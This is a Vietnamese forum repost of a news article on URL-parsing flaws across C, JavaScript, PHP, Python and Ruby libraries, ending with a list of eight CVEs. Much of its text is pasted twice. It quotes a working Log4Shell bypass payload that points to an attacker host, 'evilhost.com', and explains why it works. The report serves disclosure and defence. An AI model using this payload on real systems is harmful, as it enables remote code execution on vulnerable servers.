DDos
VIP Members
-
22/10/2013
-
524
-
2.191 bài viết
Lỗ hổng trong thư viện phân tích URL ảnh hưởng lớn đến nhiều ứng dụng
Các nhà nghiên cứu nhận thấy rằng việc sử dụng không chính xác các thư viện phân tích cú pháp Uniform Resource Locator (URL) có thể bị khai thác để vượt qua cơ chế kiểm soát, tạo ra nhiều vec-tơ tấn công.
Trong một phân tích chuyên sâu do công ty an ninh mạng Claroty và Synk thực hiện, tám lỗ hổng an ninh đã được phát hiện trong nhiều thư viện của bên thứ ba được viết bằng ngôn ngữ C, JavaScript, PHP, Python và Ruby và được một số ứng dụng web sử dụng.
Nhà nghiên cứu cho biết: "Viêc sai xót trong phân tích cú pháp URL có thể gây ra hành vi không mong muốn trong phần mềm (ví dụ: ứng dụng web) và có thể bị tin tặc lợi dụng để gây ra tấn công từ chối dịch vụ, rò rỉ thông tin hoặc có thể dẫn đến thực thi mã từ xa".
Với việc URL là một cơ chế cơ bản, được sử dụng rộng rãi trong ứng dụng web, có thể được yêu cầu và truy xuất, sự khác biệt trong cách các thư viện phân tích cú pháp xử lý một yêu cầu URL có thể gây ra rủi ro đáng kể cho người dùng.
Một ví dụ điển hình là lỗ hổng nghiêm trọng Log4Shell được tiết lộ công khai vào tháng trước. Lỗi xuất phát từ việc một chuỗi độc hại do hacker kiểm soát được đưa vào xử lý bởi một ứng dụng tồn tại lỗ hổng, dẫn đến tra cứu JNDI kết nối với máy chủ do tin tặc kiểm soát và thực thi mã Java tùy ý.
Mặc dù Apache Software Foundation (ASF) đã nhanh chóng đưa ra một bản sửa lỗi để giải lỗi này, nhưng đã có rất nhiều cách để vượt qua các biện phát giảm thiểu được đưa ra, ví dụ payload "${jndi:ldap://127.0.0[.]1#.evilhost.com:1389/a}" cho phép tra cứu JNDI từ xa để thực thi mã.
Nhà nghiên cứu nói: "Việc vượt qua các biện phát giảm thiểu xuất phát từ thực tế là hai trình phân tích cú pháp URL (!) khác nhau đã được sử dụng trong quá trình tra cứu JNDI, một trình phân tích cú pháp để xác thực URL và một trình phân tích cú pháp khác để tìm nạp URL. Tùy thuộc vào cách mỗi trình phân tích cú pháp xử lý phần Fragment (#) của URL, thành phần Authority (Authority là sự kết hợp của tên miền và số cổng trong một URL) cũng thay đổi theo."
Cụ thể, nếu dữ liệu đầu vào được coi là một URL HTTP thông thường, thì thành phần Authority kết thúc khi gặp mã nhận dạng phân đoạn.Và khi được coi là URL LDAP, trình phân tích cú pháp sẽ xác định toàn bộ "127.0.0[.]1#.evilhost.com:1389" là thành phần Authority, vì URL LDP không coi có mã nhận dạng phân đoạn trong URL này.
Lỗi bắt nguồn từ sai xót liên quan đến một URL chứa dấu gạch chéo ngược ("\"), số lượng dấu gạch chéo không đều (ví dụ: https:///www.example[.]com) hoặc dữ liệu được mã hóa URL ("%"), có thể bị lợi dụng để thực thi mã từ xa hoặc thậm chí cả tấn công từ chối dịch vụ (DoS) và lừa đảo chuyển hướng mở.
Chi tiết các ứng dụng bị ảnh hưởng bao gồm:
Trong một phân tích chuyên sâu do công ty an ninh mạng Claroty và Synk thực hiện, tám lỗ hổng an ninh đã được phát hiện trong nhiều thư viện của bên thứ ba được viết bằng ngôn ngữ C, JavaScript, PHP, Python và Ruby và được một số ứng dụng web sử dụng.
Nhà nghiên cứu cho biết: "Viêc sai xót trong phân tích cú pháp URL có thể gây ra hành vi không mong muốn trong phần mềm (ví dụ: ứng dụng web) và có thể bị tin tặc lợi dụng để gây ra tấn công từ chối dịch vụ, rò rỉ thông tin hoặc có thể dẫn đến thực thi mã từ xa".
Với việc URL là một cơ chế cơ bản, được sử dụng rộng rãi trong ứng dụng web, có thể được yêu cầu và truy xuất, sự khác biệt trong cách các thư viện phân tích cú pháp xử lý một yêu cầu URL có thể gây ra rủi ro đáng kể cho người dùng.
Một ví dụ điển hình là lỗ hổng nghiêm trọng Log4Shell được tiết lộ công khai vào tháng trước. Lỗi xuất phát từ việc một chuỗi độc hại do hacker kiểm soát được đưa vào xử lý bởi một ứng dụng tồn tại lỗ hổng, dẫn đến tra cứu JNDI kết nối với máy chủ do tin tặc kiểm soát và thực thi mã Java tùy ý.
Mặc dù Apache Software Foundation (ASF) đã nhanh chóng đưa ra một bản sửa lỗi để giải lỗi này, nhưng đã có rất nhiều cách để vượt qua các biện phát giảm thiểu được đưa ra, ví dụ payload "${jndi:ldap://127.0.0[.]1#.evilhost.com:1389/a}" cho phép tra cứu JNDI từ xa để thực thi mã.
Nhà nghiên cứu nói: "Việc vượt qua các biện phát giảm thiểu xuất phát từ thực tế là hai trình phân tích cú pháp URL (!) khác nhau đã được sử dụng trong quá trình tra cứu JNDI, một trình phân tích cú pháp để xác thực URL và một trình phân tích cú pháp khác để tìm nạp URL. Tùy thuộc vào cách mỗi trình phân tích cú pháp xử lý phần Fragment (#) của URL, thành phần Authority (Authority là sự kết hợp của tên miền và số cổng trong một URL) cũng thay đổi theo."
Cụ thể, nếu dữ liệu đầu vào được coi là một URL HTTP thông thường, thì thành phần Authority kết thúc khi gặp mã nhận dạng phân đoạn.Và khi được coi là URL LDAP, trình phân tích cú pháp sẽ xác định toàn bộ "127.0.0[.]1#.evilhost.com:1389" là thành phần Authority, vì URL LDP không coi có mã nhận dạng phân đoạn trong URL này.
Lỗi bắt nguồn từ sai xót liên quan đến một URL chứa dấu gạch chéo ngược ("\"), số lượng dấu gạch chéo không đều (ví dụ: https:///www.example[.]com) hoặc dữ liệu được mã hóa URL ("%"), có thể bị lợi dụng để thực thi mã từ xa hoặc thậm chí cả tấn công từ chối dịch vụ (DoS) và lừa đảo chuyển hướng mở.
Chi tiết các ứng dụng bị ảnh hưởng bao gồm:
- Belledonne's SIP Stack (C, CVE-2021-33056)
- Video.js (JavaScript, CVE-2021-23414)
- Nagios XI (PHP, CVE-2021-37352)
- Flask-security (Python, CVE-2021-23385)
- Flask-security-too (Python, CVE-2021-32618)
- Flask-unchained (Python, CVE-2021-23393)
- Flask-User (Python, CVE-2021-23401)
- Clearance (Ruby, CVE-2021-23435)
Theo: thehackernews